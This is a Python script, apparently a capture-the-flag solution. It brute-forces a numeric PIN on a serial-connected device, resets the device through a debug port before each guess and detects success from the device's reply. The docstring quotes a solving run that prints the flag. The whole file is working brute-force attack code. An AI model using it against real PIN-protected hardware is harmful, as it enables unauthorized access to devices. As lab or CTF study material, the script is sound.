import serial
import time
import argparse
import logging
import sys

"""
examples:
   path.py --pinlen_min=6 --pinlen_max=6 --log_file l6_dbg.txt --progress
   mp64 '?d?d?d?d?d?d' | path.py --infile=- --log_file l6_dbg.txt --progress
   printf '%02d\n' {0..9999} > p.txt; path.py --infile=p.txt --progress

on solving:
  python3 test.py --pinlen_min=6 --pinlen_max=6 --pin_start=XXX000 --log_file l6_dbg.txt --progress
XXXit [XX:XX, 135.29it/s]ERROR - unexpected response for b'XXXXXX':
ERROR - b'\n\rPIN correct. Welcome!!!\r\n\rEnjoy the flag! FLAG'
ERROR - b''

gets to ~135it/s on my machine
"""

DEFAULT_DBG_DEV = '/dev/ttyUSB1'
DEFAULT_INP_DEV = '/dev/ttyACM0'
DEFAULT_PIN_START = 0
DEFAULT_PINLEN_MIN = 5
DEFAULT_PINLEN_MAX = 10
DEFAULT_LOG_FILE = 'debug.log'

def setup_logger(log_file):
    logger = logging.getLogger('PIN_Cycler')
    logger.setLevel(logging.DEBUG)

    # File handler
    file_handler = logging.FileHandler(log_file)
    file_handler.setLevel(logging.DEBUG)
    file_formatter = logging.Formatter('%(levelname)s - %(message)s')
    file_handler.setFormatter(file_formatter)

    # Stream handler for stdout
    stream_handler = logging.StreamHandler(sys.stdout)
    stream_handler.setLevel(logging.ERROR)
    stream_formatter = logging.Formatter('%(levelname)s - %(message)s')
    stream_handler.setFormatter(stream_formatter)

    logger.addHandler(file_handler)
    logger.addHandler(stream_handler)

    return logger

def cycle(inp, dbg, pin, logger):
    dbg.write(b'r')
    dbg.flush()

    inp.read_until(b'Please enter the PIN: ')

    tmp = pin
    while len(tmp) > 0:
        inp.write(tmp[:4])
        inp.flush()
        tmp = tmp[4:]
    # inp.write(pin)
    logger.debug(f'wrote: {pin}')
    inp.flush()

    out = inp.read_until(pin)
    logger.debug(f'read: {out}')
    if out != pin:
        logger.error(f'read mismatch, expected {pin}, got {out}')
        return False
    inp.write(b'\n')
    inp.flush()

    inc = b'Incorrect PIN.'
    resp = inp.read_until(inc)
    logger.debug(f'read: {resp}')
    if resp.strip() != inc:
        logger.error(f'unexpected response for {pin}:')
        logger.error(resp)
        logger.error(inp.read_all())
        time.sleep(3)
        logger.error(inp.read_all())

    return True

def passgen_default(pin_start, pinlen_min, pinlen_max):
    for pinlen in range(pinlen_min, pinlen_max + 1):
        fmt = f'%0{pinlen}d'.encode()
        for p in range(pin_start, 10**pinlen):
            pin = fmt % p
            yield pin

def passgen_fileobj(fo):
    for line in fo:
        yield line.rstrip('\n').encode()

def passgen_file(filepath):
    with open(filepath) as f:
        for x in passgen_fileobj(f):
            yield x


def main():
    parser = argparse.ArgumentParser(description='Cycle through PINs.')
    parser.add_argument('--dbg_dev', type=str, default=DEFAULT_DBG_DEV, help='Path to the debug device (default: /dev/ttyUSB1)')
    parser.add_argument('--inp_dev', type=str, default=DEFAULT_INP_DEV, help='Path to the input device (default: /dev/ttyACM0)')
    parser.add_argument('--pinlen_min', type=int, default=DEFAULT_PINLEN_MIN, help='Minimum length of PIN (default: 5)')
    parser.add_argument('--pinlen_max', type=int, default=DEFAULT_PINLEN_MAX, help='Maximum length of PIN (default: 10)')
    parser.add_argument('--pin_start', type=int, default=DEFAULT_PIN_START, help='start pin value (default: 0)')
    parser.add_argument('--log_file', type=str, default=DEFAULT_LOG_FILE, help='Log file path (default: debug.log)')
    parser.add_argument('--infile', type=str, help='read files from a file (- for stdin)')
    parser.add_argument('--progress', default=False, action='store_true', help='show progress (needs tqdm)')

    args = parser.parse_args()

    logger = setup_logger(args.log_file)

    dbg = serial.Serial(port=args.dbg_dev, baudrate=115200)
    inp = serial.Serial(port=args.inp_dev, baudrate=115200, timeout=0.01)

    inp.read_all()
    dbg.read_all()


    passgen_total = float('inf')
    if args.infile == '-':
        passgen = passgen_fileobj(sys.stdin)
    elif args.infile:
        passgen = passgen_file(args.infile)
    else:
        passgen = passgen_default(args.pin_start, args.pinlen_min, args.pinlen_max)
        passgen_total = 0
        for pinlen in range(args.pinlen_min, args.pinlen_max + 1):
            passgen_total += max(0, (10**pinlen) - args.pin_start)

    if args.progress:
        from tqdm import tqdm
        passgen = tqdm(passgen, total=passgen_total)

    try:
        for pin in passgen:
            logger.debug(pin)
            while True:
                ok = cycle(dbg=dbg, inp=inp, pin=pin, logger=logger)
                if ok:
                    break
    except KeyboardInterrupt:
        inp.close()
        dbg.close()

if __name__ == '__main__':
    main()